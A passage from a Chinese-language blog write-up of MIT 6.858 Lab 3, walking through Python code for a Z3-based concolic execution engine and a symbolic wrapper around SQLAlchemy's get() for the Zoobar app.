## timeout for Z3, in seconds
z3_timeout = 5

##...

def fork_and_check(constr):
  constr = simplify(constr)

  parent_conn, child_conn = multiprocessing.Pipe()
  p = multiprocessing.Process(target=fork_and_check_worker,
                              args=(constr, child_conn))
  p.start()
  child_conn.close()

  ## timeout after a while..
  def sighandler(signo, stack):
    print(&amp;quot;Timed out..&amp;quot;)
    # print z3expr(constr).sexpr()
    p.terminate()

  signal.signal(signal.SIGALRM, sighandler)
  signal.alarm(z3_timeout)

  try:
    res = parent_conn.recv()
  except EOFError:
    res = (z3.unknown, None)
  finally:
    signal.alarm(0)

  p.join()
  return res
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来我们来看   &lt;code&gt;fork_and_check_workder()&lt;&#x2F;code&gt; 的具体实现：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;新建一个 Z3 求解器将转化为字符串的约束表达式传入，调用 &lt;code&gt;Solver.check()&lt;&#x2F;code&gt; 求解&lt;&#x2F;li&gt;
&lt;li&gt;若求解成功，调用 &lt;code&gt;Solver.model()&lt;&#x2F;code&gt; 获得求解结果&lt;&#x2F;li&gt;
&lt;li&gt;判断结果中变量类型并转换为整型&#x2F;字符串，对于字符串做额外处理，将结果放到一个 &lt;code&gt;字符串→结果&lt;&#x2F;code&gt; 映射的字典中并返回&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Z3 这玩意用起来确实方便，不愧是微软大爹&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def fork_and_check_worker(constr, conn):
  s = z3.Solver()
  s.add(z3expr(constr))
  ok = s.check()
  m = {}
  if ok == z3.sat:
    z3m = s.model()
    for k in z3m:
      v = z3m[k]
      if v.sort() == z3.IntSort():
        m[str(k)] = v.as_long()
      elif v.sort() == z3.StringSort():
        ## There doesn&amp;#x27;t seem to be a way to get the raw string
        ## value out of Z3..  Instead, we get the escaped string
        ## value.  We need to jump through hoops to unescape it.
        x = v.as_string()
        u = x.encode(&amp;#x27;latin1&amp;#x27;).decode(&amp;#x27;unicode-escape&amp;#x27;)
        m[str(k)] = u
      else:
        raise Exception(&amp;quot;Unknown sort for %s=%s: %s&amp;quot; % (k, v, v.sort()))
  conn.send((ok, m))
  conn.close()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么现在我们可以完成 Exercise 4 了，我们只需要调用  &lt;code&gt;fork_and_check()&lt;&#x2F;code&gt; 进行求解即可，需要注意的是我们返回的字典中的键值对应当只包含 &lt;code&gt;ok_names&lt;&#x2F;code&gt; 参数中所需要的键，若 &lt;code&gt;ok_names == None&lt;&#x2F;code&gt; 则将所有的键值对添加到字典中：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;# Given a constraint, ask Z3 to compute concrete values that make that
# constraint true. It returns a new ConcreteValues instance with those
# values.  Z3 produces variables that don&amp;#x27;t show up in our
# applications and in our constraints; we filter those by accepting
# only variables names that appear in ok_names.
def concolic_find_input(constraint, ok_names, verbose=0):
  ## Invoke Z3, along the lines of:
  ##
  ##     (ok, model) = fork_and_check(constr)
  ##
  ## If Z3 was able to find example inputs that solve this
  ## constraint (i.e., ok == z3.sat), make a new input set
  ## containing the values from Z3&amp;#x27;s model, and return it.
  (ok, model) = fork_and_check(constraint)
  cv = ConcreteValues()
  if ok == z3.sat:
    sat = True
    res_names = model.keys() if ok_names is None else ok_names
    for k in res_names:
      cv.add(k, model[k])
  else:
    sat = False
  return sat, cv
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;成功通过 Exercise 4：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;mit6858-exercise4-pass.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后是 Exercise 5， 完成 &lt;code&gt;symex&#x2F;fuzzy.py&lt;&#x2F;code&gt; 中 &lt;code&gt;concolic_force_branch&lt;&#x2F;code&gt;  的实现：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;提前说一下，这个 Exercise 5 的检查&lt;strong&gt;非常松&lt;&#x2F;strong&gt;，不要以为通过检查就是真的 Pass 了，最好自己再看看代码逻辑是否符合要求...
&lt;strong&gt;Exercise 5.&lt;&#x2F;strong&gt;  A final major component in concolic execution is exploring different branches of execution. Complete the implementation of &lt;code&gt;concolic_force_branch&lt;&#x2F;code&gt; in &lt;code&gt;symex&#x2F;fuzzy.py&lt;&#x2F;code&gt; and make sure you pass the final test case of &lt;code&gt;symex&#x2F;check-symex-int.py&lt;&#x2F;code&gt;. Run &lt;strong&gt;.&#x2F;check-symex-int.py&lt;&#x2F;strong&gt; or&lt;strong&gt;make check&lt;&#x2F;strong&gt; to check your solution.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;正如前文所说，在遇到分支时我们需要&lt;strong&gt;逆转当前分支条件，以探索另一分支&lt;&#x2F;strong&gt;，该函数的作用实际上就是逆转 &lt;code&gt;branch_conds&lt;&#x2F;code&gt; 中的第 &lt;code&gt;b&lt;&#x2F;code&gt; 分支的条件，并返回新的约束条件集合，那么我们只需要取出该条件并使用 &lt;code&gt;sym_not()&lt;&#x2F;code&gt; 取反后再用 &lt;code&gt;sym_and()&lt;&#x2F;code&gt; 加上该分支之前所有的条件约束即可&lt;&#x2F;p&gt;
&lt;p&gt;注意这里的参数 &lt;code&gt;b&lt;&#x2F;code&gt; 为分支标号，&lt;code&gt;branch_conds&lt;&#x2F;code&gt; 与 &lt;code&gt;branch_callers&lt;&#x2F;code&gt; 为分支的条件与调用者数组：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;# Compute a new constraint by negating the branch condition of the
# b-th branch in branch_conds. This constraint can be used to force
# the concolic execution to explore the other side of branch b.
def concolic_force_branch(b, branch_conds, branch_callers, verbose = 1):
  ## Compute an AST expression for the constraints necessary
  ## to go the other way on branch b.  You can use existing
  ## logical AST combinators like sym_not(), sym_and(), etc.
  ##
  ## Note that some of the AST combinators take separate positional
  ## arguments. In Python, to unpack a list into separate positional
  ## arguments, use the &amp;#x27;*&amp;#x27; operator documented at
  ## https:&amp;#x2F;&amp;#x2F;docs.python.org&amp;#x2F;3&amp;#x2F;tutorial&amp;#x2F;controlflow.html#unpacking-argument-lists

  constraint = None
  ## Exercise 5 by arttnba3
  ### negating the branch condition of the b-th branch
  b_cond = branch_conds[b]
  if (b_cond != const_bool(True)):
    constraint = sym_not(b_cond)
    for i in range(b):
      constraint = sym_and(constraint, branch_conds[i])
  ### end

  if verbose &amp;gt; 2:
    callers = branch_callers[b]
    print(&amp;#x27;Trying to branch at %s:%d:&amp;#x27; % (callers[0], callers[1]))
    if constraint is not None:
      print(indent(z3expr(constraint).sexpr()))

  if constraint is None:
    return const_bool(True)
  else:
    return constraint
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;成功通过 Exercise 5：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;exercise5-concolic-passed.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最后是 Exercise 6， &lt;strong&gt;使用我们在 Exercise 3-5 中涉及的几个函数来完成&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;code&gt;concolic_execs()&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;—— 完整的混合执行函数的构建&lt;&#x2F;strong&gt;，我们需要完成对 &lt;code&gt;func&lt;&#x2F;code&gt; 中的&lt;strong&gt;每一条分支&lt;&#x2F;strong&gt;的执行：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 6.&lt;&#x2F;strong&gt;  Now implement concolic execution of a function in &lt;code&gt;concolic_execs()&lt;&#x2F;code&gt; in &lt;code&gt;symex&#x2F;fuzzy.py&lt;&#x2F;code&gt;. The goal is to eventually cause every every branch of &lt;code&gt;func&lt;&#x2F;code&gt;to be executed. Read the comment for a proposed plan of attack for implementing that loop. The functions in the exercises 3-5 should be quite useful.
Run  &lt;strong&gt;.&#x2F;check-symex-int.py&lt;&#x2F;strong&gt; or&lt;strong&gt;make check&lt;&#x2F;strong&gt; to check that your &lt;code&gt;concolic_execs()&lt;&#x2F;code&gt; works correctly.
Beware that our check for this exercise is &lt;em&gt;not&lt;&#x2F;em&gt; complete. You may well find that later on something does not work, and you will have to revisit your code for this exercise.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我们先看 &lt;code&gt;concolic_execs()&lt;&#x2F;code&gt; 中已有的逻辑框架：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;checked&lt;&#x2F;code&gt; 为已经检查过的约束，&lt;code&gt;outs&lt;&#x2F;code&gt; 为最后求解所得结果，&lt;code&gt;inputs&lt;&#x2F;code&gt; 为待测试输入队列（输入为具体值字典）&lt;&#x2F;li&gt;
&lt;li&gt;由一个大循环持续调用&lt;code&gt;concolic_exec_input()&lt;&#x2F;code&gt; 计算约束&lt;&#x2F;li&gt;
&lt;li&gt;将新的约束解添加到结果中&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;# Concolic execute func for many different paths and return all
# computed results for those different paths.
def concolic_execs(func, maxiter = 100, verbose = 0):
  ## &amp;quot;checked&amp;quot; is the set of constraints we already sent to Z3 for
  ## checking.  use this to eliminate duplicate paths.
  checked = set()

  ## output values
  outs = []

  ## list of inputs we should try to explore.
  inputs = InputQueue()

  iter = 0
  while iter &amp;lt; maxiter and not inputs.empty():
    iter += 1
    concrete_values = inputs.get()
    (r, branch_conds, branch_callers) = concolic_exec_input(func, concrete_values, verbose)
    if r not in outs:
      outs.append(r)

    ## Exercise 6: your code here.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们的代码需要添加在大循环的后半部分，那么我们先回顾一下在 Exercise 3-5 中我们都获得了哪些可用函数：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;concolic_exec_input(testfunc, concrete_values, verbose = 0)&lt;&#x2F;code&gt;：将 &lt;code&gt;concrete_values&lt;&#x2F;code&gt; 参数设为全局字典，之后执行给定的函数 &lt;code&gt;testfunc&lt;&#x2F;code&gt;，返回执行的结果值、分支条件列表、分支调用信息列表&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;concolic_find_input(constraint, ok_names, verbose=0)&lt;&#x2F;code&gt;：使用 Z3 求解给定约束，返回 &lt;code&gt;ok_names&lt;&#x2F;code&gt; 列表中变量的值&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;concolic_force_branch(b, branch_conds, branch_callers, verbose = 1)&lt;&#x2F;code&gt;：对给定约束条件 &lt;code&gt;branch_conds&lt;&#x2F;code&gt; 与分支 &lt;code&gt;b&lt;&#x2F;code&gt;，返回走向该分支另一路径的约束&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;接下来我们看 Lab 给的提示信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;    ## Exercise 6: your code here.
    ##
    ## Here&amp;#x27;s a possible plan of attack:
    ##
    ## - Iterate over the set of branches returned by concolic_exec_input.
    ##
    ## - Use concolic_force_branch() to construct a constraint over
    ##   the inputs for taking the other side of that branch.
    ##
    ## - If this constraint is already in the &amp;quot;checked&amp;quot; set, skip
    ##   it (otherwise, add it to prevent further duplicates).
    ##
    ## - Use concolic_find_input() to construct a new input to test,
    ##   based on the above constraint.
    ##
    ## - Since Z3 might not assign values to every variable
    ##   (such as if that variable turns out to be irrelevant to
    ##   the overall constraint), inherit unassigned values from
    ##   the input that we just tried (i.e., concrete_values).
    ##   You can use the inherit() method in ConcreteValues for this.
    ##
    ## - Add the input to the queue for processing, along the lines of:
    ##
    ##     inputs.add(new_values, caller)
    ##
    ##   where caller is the corresponding value from the list of call
    ##   sites returned by concolic_find_input (i.e., branch_callers).
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;迭代 &lt;code&gt;concolic_exec_input()&lt;&#x2F;code&gt; 所返回的分支集合&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;concolic_force_branch()&lt;&#x2F;code&gt; 来构建一个分支的另一路径约束&lt;&#x2F;li&gt;
&lt;li&gt;若约束已经在 &lt;code&gt;check&lt;&#x2F;code&gt; 集合中，将其跳过，否则加入集合中&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;concolic_find_input()&lt;&#x2F;code&gt; 以构建一个基于另一路径约束的新的测试输入&lt;&#x2F;li&gt;
&lt;li&gt;Z3 可能不会为每个变量分配值（例如变量可能与约束无关），我们需要从上次使用的字典继承到 &lt;code&gt;concolic_find_input()&lt;&#x2F;code&gt; 返回的新字典中，将新的字典添加到 &lt;code&gt;input&lt;&#x2F;code&gt; 队列中&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;依照以上思路，笔者最后在大循环末尾补全代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;    branch_len = len(branch_conds)
    # explore every branch
    for b in range(branch_len):
      # construct new constraint for negative branch
      cur_constraint = concolic_force_branch(b, branch_conds, branch_callers)
      # not in `checked` set, solve out the constraint
      if cur_constraint not in checked:
        checked.add(cur_constraint)
        sat, cur_concrete_values = concolic_find_input(cur_constraint, None)
        # satisfiable, add the dict for next round
        if sat:
          cur_concrete_values.inherit(concrete_values)
          inputs.add(cur_concrete_values, branch_callers[b])
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行，成功通过 Exercise 6：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;concolic-exercise6-pass.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;至此，Lab 3 的 Part 1 &lt;strong&gt;全部完成&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x04-concolic-execution-for-strings-and-zoobar&quot;&gt;&lt;strong&gt;0x04. Concolic execution for strings and Zoobar&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;首先是 Exercise 7，补全对字符串与字符数组的两种运算支持：长度（&lt;code&gt;__len__&lt;&#x2F;code&gt;）与包含（&lt;code&gt;__contains__&lt;&#x2F;code&gt;）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 7.&lt;&#x2F;strong&gt;  Finish the implementation of concolic execution for strings and byte-arrays in &lt;code&gt;symex&#x2F;fuzzy.py&lt;&#x2F;code&gt;. We left out support for two operations on &lt;code&gt;concolic_str&lt;&#x2F;code&gt; and &lt;code&gt;concolic_bytes&lt;&#x2F;code&gt; objects. The first is computing the length of a string, and the second is checking whether a particular string &lt;code&gt;a&lt;&#x2F;code&gt; appears in string &lt;code&gt;b&lt;&#x2F;code&gt; (i.e., &lt;code&gt;a&lt;&#x2F;code&gt; is contained in &lt;code&gt;b&lt;&#x2F;code&gt;, the underlying implementation of Python&#x27;s &quot;a in b&quot; construct).
Look for the comment &lt;code&gt;Exercise 7: your code here&lt;&#x2F;code&gt; to find where you should implement the code for this exercise. We have already implemented the &lt;code&gt;sym_contains&lt;&#x2F;code&gt; and &lt;code&gt;sym_length&lt;&#x2F;code&gt; AST nodes for you, which should come in handy for this exercise.
Run  &lt;strong&gt;.&#x2F;check-concolic-str.py&lt;&#x2F;strong&gt;&lt;em&gt;and&lt;&#x2F;em&gt; &lt;strong&gt;.&#x2F;check-symex-str.py&lt;&#x2F;strong&gt; (or just run&lt;strong&gt;make check&lt;&#x2F;strong&gt;) to check that your answer to this exercise works correctly.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;对于符号值而言该框架已经提供了封装好的 &lt;code&gt;sym_contains&lt;&#x2F;code&gt; 与 &lt;code&gt;sym_length&lt;&#x2F;code&gt; ，我们只需要实现对具体值的判断即可，这里别忘了最后的返回值应当调用 &lt;code&gt;concolic_bool()&lt;&#x2F;code&gt; 以在全局列表中添加路径约束与信息&lt;&#x2F;p&gt;
&lt;p&gt;待补全的两处皆为以下代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;  ## Exercise 7: your code here.
  ## Implement symbolic versions of string length (override __len__)
  ## and contains (override __contains__).
  def __len__(self):
    return concolic_int(sym_length(ast(self)), len(self.__v))

  def __contains__(self, o):
    if isinstance(o, concolic_str):
      res = o.__v in self.__v
    else:
      res = o in self.__v
    return concolic_bool(sym_contains(ast(self), ast(o)), res)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行，成功通过 Exercise 7：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;exercise7-concolic-passed.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来我们需要在 Zoobar 中完成一个 &lt;code&gt;concolic HTTP request&lt;&#x2F;code&gt;，因此待查询的 username 也将为一个混合值（由 HTTP cookie 带来），于是接下来我们需要在 SQL 查询上应用混合执行，但 SQLite 由 C 而非 Python 编写，因此我们不能直接修改其内部代码&lt;&#x2F;p&gt;
&lt;p&gt;于是接下来来到 Exercise8，对 SQL 的 &lt;code&gt;get()&lt;&#x2F;code&gt; 应用一层 wrapper 以对 SQL 语句的结果应用混合执行：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 8.&lt;&#x2F;strong&gt;  Figure out how to handle the SQL database so that the concolic engine can create constraints against the data returned by the database. To help you do this, we&#x27;ve written an empty wrapper around the sqlalchemy &lt;code&gt;get&lt;&#x2F;code&gt; method, in &lt;code&gt;symex&#x2F;symsql.py&lt;&#x2F;code&gt;. Implement this wrapper so that concolic execution can try all possible records in a database. Examine &lt;strong&gt;.&#x2F;check-symex-sql.py&lt;&#x2F;strong&gt; to see how we are thinking of performing database lookups on concolic values.
You will likely need to consult the reference for the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;docs.sqlalchemy.org&#x2F;en&#x2F;11&#x2F;orm&#x2F;query.html&quot;&gt;SQLalchemy query object&lt;&#x2F;a&gt; to understand what the behavior of &lt;code&gt;get&lt;&#x2F;code&gt; should be and what your replacement implementation should be doing.
Run  &lt;strong&gt;.&#x2F;check-symex-sql.py&lt;&#x2F;strong&gt; (or just run&lt;strong&gt;make check&lt;&#x2F;strong&gt;) to check that your answer to this exercise works correctly.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;那我们先看看 &lt;code&gt;.&#x2F;check-symex-sql.py&lt;&#x2F;code&gt; 里面的主体逻辑（关于 SQLalchemy 库相关的可以先看 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;docs.sqlalchemy.org&#x2F;en&#x2F;11&#x2F;orm&#x2F;query.html&quot;&gt;SQLalchemy query object&lt;&#x2F;a&gt; ），首先声明了 &lt;code&gt;Test1Base&lt;&#x2F;code&gt; 和 &lt;code&gt;Test2Base&lt;&#x2F;code&gt;，这两个相当于两组不同的测试用例，我们仅分析其中一组即可，之后定义了类 &lt;code&gt;Test1&lt;&#x2F;code&gt; 继承自 &lt;code&gt;Test1Base&lt;&#x2F;code&gt;，并为该数据库设置了两列，其中 &lt;code&gt;name&lt;&#x2F;code&gt; 为主键：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里按照笔者的理解，一个 &lt;code&gt;Test1&lt;&#x2F;code&gt; 实例表示的应该是在该数据库中一行的数据&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;Test1Base = declarative_base()
Test2Base = declarative_base()

class Test1(Test1Base):
    __tablename__ = &amp;quot;test1&amp;quot;
    name = Column(String(128), primary_key=True)
    value = Column(Integer)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后是数据库初始化工作：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def dbsetup(name, base):
    dbfile = os.path.join(dbdir, &amp;quot;%s.db&amp;quot; % name)
    engine = create_engine(&amp;#x27;sqlite:&amp;#x2F;&amp;#x2F;&amp;#x2F;%s&amp;#x27; % dbfile,
                           isolation_level=&amp;#x27;SERIALIZABLE&amp;#x27;)
    base.metadata.create_all(engine)
    session = sessionmaker(bind=engine)
    return session()

def test1_setup():
    return dbsetup(&amp;quot;test1&amp;quot;, Test1Base)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 &lt;code&gt;test_f()&lt;&#x2F;code&gt; 中会调用 &lt;code&gt;test1_setup()&lt;&#x2F;code&gt; 进行数据库 &lt;code&gt;&quot;test1&quot;&lt;&#x2F;code&gt; 的创建，并创建一个混合字符串 &lt;code&gt;s&lt;&#x2F;code&gt;，将其作为参数给到数据库的 get 函数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def test_f():
    db = test1_setup()
    s = fuzzy.mk_str(&amp;#x27;s&amp;#x27;, &amp;#x27;&amp;#x27;)
    r = db.query(Test1).get(s)
    if r is None:
        v = None
    else:
        v = r.value
    return v
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里的 &lt;code&gt;query()&lt;&#x2F;code&gt; 展开来其实是 &lt;code&gt;SELECT test1.nameSELECT test1.name AS test1_name, test1.value AS test1_value FROM test1&lt;&#x2F;code&gt; 这样的 SQL 语句（比较笨的办法就是可以通过在 &lt;code&gt;get()&lt;&#x2F;code&gt; 中打印 &lt;code&gt;query&lt;&#x2F;code&gt; 的方式查看），其中选择的都是我们为 &lt;code&gt;Test1&lt;&#x2F;code&gt; 类所定义的变量，而 &lt;code&gt;get()&lt;&#x2F;code&gt; 的原始作用则为从查询结果中选择符合条件的一行&lt;&#x2F;p&gt;
&lt;p&gt;完成上述定义之后，在文件中首先调用 &lt;code&gt;test1_setup()&lt;&#x2F;code&gt; 进行数据库 &lt;code&gt;&quot;test1&quot;&lt;&#x2F;code&gt; 的创建，并添加了两行数据：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;t1 = test1_setup()
t1a = Test1()
t1a.name = &amp;#x27;foo&amp;#x27;
t1a.value = 924
t1.add(t1a)
t1b = Test1()
t1b.name = &amp;#x27;barr&amp;#x27;
t1b.value = 22
t1.add(t1b)
t1.commit()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后对 &lt;code&gt;test_f()&lt;&#x2F;code&gt; 应用混合执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;print(&amp;#x27;Testing f..&amp;#x27;)
f_results = fuzzy.concolic_execs(test_f, verbose=10)
f_expected = (924, 22)
if all(x in f_results for x in f_expected):
    print(&amp;quot;Found all cases for f&amp;quot;)
else:
    print(&amp;quot;Missing some cases for f:&amp;quot;, set(f_expected) - set(f_results))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来来到我们需要补全代码的 &lt;code&gt;symex&#x2F;symsql.py&lt;&#x2F;code&gt; 当中，整理逻辑非常简单，只定义了一个待我们补全的 &lt;code&gt;newget()&lt;&#x2F;code&gt;，并用其替换掉了原有的 &lt;code&gt;get()&lt;&#x2F;code&gt; 函数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;## This module wraps SQLalchemy&amp;#x27;s methods to be friendly to
## symbolic &amp;#x2F; concolic execution.

import sqlalchemy.orm
from . import fuzzy

oldget = sqlalchemy.orm.query.Query.get
def newget(query, primary_key):
  ## Exercise 8: your code here.
  ##
  ## Find the object with the primary key &amp;quot;primary_key&amp;quot; in SQLalchemy
  ## query object &amp;quot;query&amp;quot;, and do so in a symbolic-friendly way.
  ##
  ## Hint: given a SQLalchemy row object r, you can find the name of
  ## its primary key using r.__table__.primary_key.columns.keys()[0]
  return None

sqlalchemy.orm.query.Query.get = newget
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;参数 &lt;code&gt;query&lt;&#x2F;code&gt; 其实就是后面创建的 Query 对象中的 &lt;code&gt;self&lt;&#x2F;code&gt;，接下来我们看看 SQLAlchemy 文档中有没有比较有用的方法，实际上在数据库的 &lt;code&gt;增删改查&lt;&#x2F;code&gt; 当中，对于本题而言我们只需要关注“查”，注意到有这样一个方法可以将查询结果以列表的形式返回：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;sqlalchemy-query-list-result.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;文档里没有仔细说清楚（ 也可能是笔者没仔细看 ），笔者实测了一下，返回的列表的成员皆为 &lt;code&gt;Test1&lt;&#x2F;code&gt; 或 &lt;code&gt;Test2&lt;&#x2F;code&gt; 类型的对象实例，即 &lt;code&gt;一行的数据&lt;&#x2F;code&gt;，这里我们同时也可以看出在 &lt;code&gt;test1&lt;&#x2F;code&gt; 数据库中有两个 &lt;code&gt;Test1&lt;&#x2F;code&gt;（两行），刚好对应一开始添加进去的两行：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;sqlalchemy-query-rows-result.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;那么我们的思路其实就比较清晰了，&lt;code&gt;get()&lt;&#x2F;code&gt; 的第二个参数为 &lt;code&gt;primary_key&lt;&#x2F;code&gt;，即我们只需要对比查询结果找到其中 &lt;code&gt;primary_key&lt;&#x2F;code&gt; 的值与传入的参数值相同的那一行并将其返回即可&lt;&#x2F;p&gt;
&lt;p&gt;在待混合执行函数 &lt;code&gt;test_f()&lt;&#x2F;code&gt; 与 &lt;code&gt;test_g()&lt;&#x2F;code&gt; 当中传入的 &lt;code&gt;primary_key()&lt;&#x2F;code&gt; 皆为 &lt;code&gt;concolic&lt;&#x2F;code&gt; 类型变量，而我们已经完成了 &lt;code&gt;concolic_int&lt;&#x2F;code&gt; 与 &lt;code&gt;concolic_str&lt;&#x2F;code&gt; 的 &lt;code&gt;__cmp__&lt;&#x2F;code&gt; 运算符重载，因此在重写的 get 函数中直接使用 &lt;code&gt;==&lt;&#x2F;code&gt; 进行对比即可&lt;&#x2F;p&gt;
&lt;p&gt;需要注意的是，虽然我们知道 &lt;code&gt;Test1&lt;&#x2F;code&gt; 的主键为 &lt;code&gt;name&lt;&#x2F;code&gt;，但这里相比起直接使用 &lt;code&gt;row.name&lt;&#x2F;code&gt;，我们需要且应当写一个&lt;strong&gt;更为通用的方法&lt;&#x2F;strong&gt;，在注释中提示我们可以使用 &lt;code&gt;r.__table__.primary_key.columns.keys()[0]&lt;&#x2F;code&gt; 获取主键名的字符串，因此我们可以使用 Python 的内置方法 &lt;code&gt;getattr()&lt;&#x2F;code&gt; 来获取主键的值，因此最后的代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def newget(query, primary_key):
  ## Exercise 8: your code here.
  ##
  ## Find the object with the primary key &amp;quot;primary_key&amp;quot; in SQLalchemy
  ## query object &amp;quot;query&amp;quot;, and do so in a symbolic-friendly way.
  ##
  ## Hint: given a SQLalchemy row object r, you can find the name of
  ## its primary key using r.__table__.primary_key.columns.keys()[0]
  rows = query.all()

  for r in query.all():
